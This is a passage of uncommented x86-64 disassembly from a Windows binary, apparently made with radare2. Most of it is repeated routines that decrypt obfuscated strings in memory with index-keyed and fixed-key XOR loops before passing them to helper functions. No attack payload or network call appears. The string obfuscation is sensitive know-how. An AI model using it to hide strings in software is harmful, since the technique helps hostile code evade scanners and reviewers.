paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x14001a140
cmp r8d, 0x34
jge 0x14001a260
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x34
jl 0x14001a231
mov rdx, r10
lea rcx, [rbp + 0x1358]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x1378]
call fcn.140037e00
mov rdx, rax
lea rcx, [rbp + 0x66a8]
call fcn.140033ce0
lea rcx, [rbp + 0x1378]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1358]
call fcn.140033cd0
mov edx, Ordinal_26
lea rcx, [rbp + 0x61e0]
call fcn.14000bde0
lea rdx, [rbp + 0x66a8]
lea rcx, [rbp + 0x1398]
call fcn.140033ec0
mov rdx, rax
lea rcx, [rbp + 0x61e0]
call fcn.14000d870
nop
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x61e0]
call fcn.140032ff0
mov r8d, 5
lea rdx, [rbp + 0x50]
mov rcx, rax
call fcn.14002f8c0
mov rbx, qword [rax]
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x61e0]
call fcn.140032ff0
mov r9, rbx
mov r8, qword [rax]
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x61e0]
call fcn.140033000
lea rcx, [rbp + 0x61e0]
call fcn.140032fe0
mov rbx, rax
mov edx, Ordinal_26
lea rcx, [rbp + 0x61f8]
call fcn.14000bde0
lea rcx, [rbp + 0x61f8]
call fcn.140033120
nop
lea rcx, [rbp + 0x61f8]
call fcn.140032fe0
mov qword [rbp + 0x6140], rax
mov edx, Ordinal_26
lea rcx, [rbp + 0x6210]
call fcn.14000bde0
lea rcx, [rbp + 0x61e0]
call fcn.14002e950
mov r8, rax
lea r9, [rbp + 0x6140]
mov rdx, rbx
lea rcx, [rbp + 0x6210]
call fcn.14000d2d0
nop
mov edx, Ordinal_26
lea rcx, [rbp + 0x6228]
call fcn.14000bde0
lea rdx, [rbp + 0x5900]
lea rcx, [rbp - 0x4a]
call fcn.14002e960
mov r10, rax
cmp byte [rax + 0x27], 0
je 0x14001a512
mov r8d, esi
cmp r14d, 2
jl 0x14001a4d8
mov edx, esi
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov r8d, dword [rsp + 0x70]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x14001a3f3
jmp 0x14001a512
mov r9, r10
nop dword [rax + rax]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x14001a4e0
mov rdx, r10
lea rcx, [rbp + 0x13b8]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x13d8]
call fcn.140037e00
nop
mov rdx, rax
lea rcx, [rbp + 0x6228]
call fcn.140012310
nop
lea rcx, [rbp + 0x13d8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x13b8]
call fcn.140033cd0
lea rdx, str.Default
lea rcx, [rbp + 0x13f8]
call fcn.140033e80
nop
lea rdx, [rbp + 0x13f8]
lea rcx, [rbp + 0x6228]
call fcn.1400335d0
nop
lea rcx, [rbp + 0x13f8]
call fcn.140033cd0
lea rdx, [rbp + 0x120]
lea rcx, [rbp - 0x49]
call fcn.14002e990
mov r10, rax
movdqa xmm13, xmmword [0x1402abb10]
cmp byte [rax + 0xf], 0
je 0x14001a7a2
mov r8d, esi
cmp r14d, 2
jl 0x14001a761
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
jmp 0x14001a7a2
mov r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14001a770
mov rdx, r10
lea rcx, [rbp + 0x1418]
call fcn.140033e80
mov r8, rax
lea rdx, [rbp + 0x67e8]
lea rcx, [rbp + 0x1438]
call fcn.14000b670
nop
mov rcx, rax
call fcn.1400338c0
mov rdx, rax
lea rcx, [rbp + 0x6688]
call fcn.140033a40
nop
lea rcx, [rbp + 0x1438]
call fcn.140007bc0
lea rcx, [rbp + 0x6688]
call fcn.1400338c0
mov r13, rax
lea rdx, [rbp + 0xb0]
lea rcx, [rbp - 0x48]
call fcn.14002e9a0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14001a838
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1478]
call fcn.140033e80
mov r8, rax
lea rdx, [rbp + 0x67e8]
lea rcx, [rbp + 0x1498]
call fcn.14000b670
nop
mov rcx, rax
call fcn.1400338c0
mov rdx, rax
lea rcx, [rbp + 0x6668]
call fcn.140033a40
nop
lea rcx, [rbp + 0x1498]
call fcn.140007bc0
lea rcx, [rbp + 0x6668]
call fcn.1400338c0
mov qword [rbp + 0x38], rax
lea rax, [rbp + 0x14d8]
mov qword [rbp + 0x68], rax
lea rdx, [rbp + 0x6808]
lea rcx, [rbp + 0x14d8]
call fcn.140033ec0
mov qword [rbp - 0x80], rax
lea rax, [rbp + 0x460]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x6210]
lea rcx, [rbp + 0x460]
call fcn.140033060
mov qword [rbp - 0x70], rax
lea rax, [rbp + 0x14f8]
mov qword [rbp - 0x68], rax
lea r8, [0x140291dcc]
lea rdx, [rbp + 0x6808]
lea rcx, [rbp + 0x14f8]
call fcn.140037c40
mov qword [rbp - 0x60], rax
lea rax, [rbp + 0x1518]
mov qword [rbp - 0x58], rax
lea rdx, [rbp + 0x58b0]
lea rcx, [rbp - 0x47]
call fcn.14002e9e0
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x14001aa6f
mov r8d, esi
cmp r14d, 2
jl 0x14001aa2d
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001a942
cmp r8d, 0x27
jge 0x14001aa6f
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14001aa40
mov rdx, r10
lea rcx, [rbp + 0x1538]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x1518]
call fcn.140037e00
mov r12, rax
lea rax, [rbp + 0x1558]
mov qword [rsp + 0x70], rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp - 0x46]
call fcn.14002e9c0
movzx ecx, word [rax + 0x10]
test cx, cx
je 0x14001aaec
xor word [rax], 0x34
xor word [rax + 2], 0x35
xor word [rax + 4], 0x36
xor word [rax + 6], 0x37
xor word [rax + 8], 0x38
xor word [rax + 0xa], 0x39
xor word [rax + 0xc], 0x3a
xor word [rax + 0xe], 0x3b
xor cx, 0x3c
mov word [rax + 0x10], cx
mov rdx, rax
lea rcx, [rbp + 0x1558]
call fcn.140033a40
mov r15, rax
lea rax, [rbp + 0x1578]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0xc0]
lea rcx, [rbp - 0x45]
call fcn.14002e9a0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14001ab47
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1578]
call fcn.140033e80
mov rdi, rax
lea rax, [rbp + 0x1598]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x1598]
call fcn.140033ec0
mov rbx, rax
lea rdx, [rbp + 0x6228]
lea rcx, [rbp + 0x478]
call fcn.140033630
nop
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x48], rcx
mov rcx, qword [rbp - 0x70]
mov qword [rsp + 0x40], rcx
mov rcx, qword [rbp + 0x38]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], r13
mov rcx, qword [rbp - 0x60]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014e10
nop
lea rcx, [rbp + 0x1538]
call fcn.140033cd0
lea rdx, [rbp + 0x15b8]
lea rcx, [rbp - 0x44]
call fcn.14002ea20
mov r10, rax
cmp word [rax + 0x1e], 0
je 0x14001ade6
mov r8d, esi
cmp r14d, 2
jl 0x14001ada1
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
pmuldq xmm2, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm12
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
jmp 0x14001ade6
mov r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x10
jl 0x14001adb0
mov rdx, r10
lea rcx, [rbp + 0x15d8]
call fcn.140033a40
nop
mov rdx, rax
mov rcx, qword [rbp + 0x40]
call fcn.140014550
mov rcx, rax
call fcn.140011f10
nop
lea rcx, [rbp + 0x15d8]
call fcn.140007bc0
lea rax, [rbp + 0x490]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6228]
lea rcx, [rbp + 0x490]
call fcn.140033630
mov r12, rax
lea rdx, [rbp + 0x5bf0]
lea rcx, [rbp - 0x43]
call fcn.14002eaa0
mov r10, rax
movdqa xmm14, xmmword [0x1402abb20]
movdqa xmm4, xmmword [0x1402abb30]
cmp word [rax + 0x30], 0
je 0x14001b123
mov r8d, esi
cmp r14d, 2
jl 0x14001b0df
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
pmuldq xmm2, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm12
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm14
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x20]
xorps xmm3, xmm0
movq qword [rax + 0x20], xmm3
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
pmuldq xmm2, xmm6
movdqa xmm0, xmm4
punpckhdq xmm0, xmm4
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm4
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x28]
xorps xmm3, xmm0
movq qword [rax + 0x28], xmm3
mov r8d, Ordinal_26
mov eax, r8d
lea r9, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x19
jl 0x14001b0f0
mov rdx, r10
lea rcx, [rbp + 0x15f8]
call fcn.140033a40
nop
mov r8, rax
lea rdx, [rbp + 0x67e8]
lea rcx, [rbp + 0x1618]
call fcn.140039dc0
nop
mov rcx, rax
call fcn.1400338c0
mov r15, rax
lea rax, [rbp + 0x1638]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x9f8]
lea rcx, [rbp - 0x42]
call fcn.14002ea70
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x14001b42f
mov r8d, esi
cmp r14d, 2
jl 0x14001b3f6
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
movdqa xmm2, xmmword [0x1402abb30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm2
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r8d, Ordinal_26
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14001b400
mov rdx, r10
lea rcx, [rbp + 0x1658]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x6808]
lea rcx, [rbp + 0x1678]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1638]
call fcn.140039e30
mov rdi, rax
lea rax, [rbp + 0x1698]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x5720]
lea rcx, [rbp - 0x41]
call fcn.14002ea40
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14001b5d0
mov r8d, esi
cmp r14d, 2
jl 0x14001b59b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
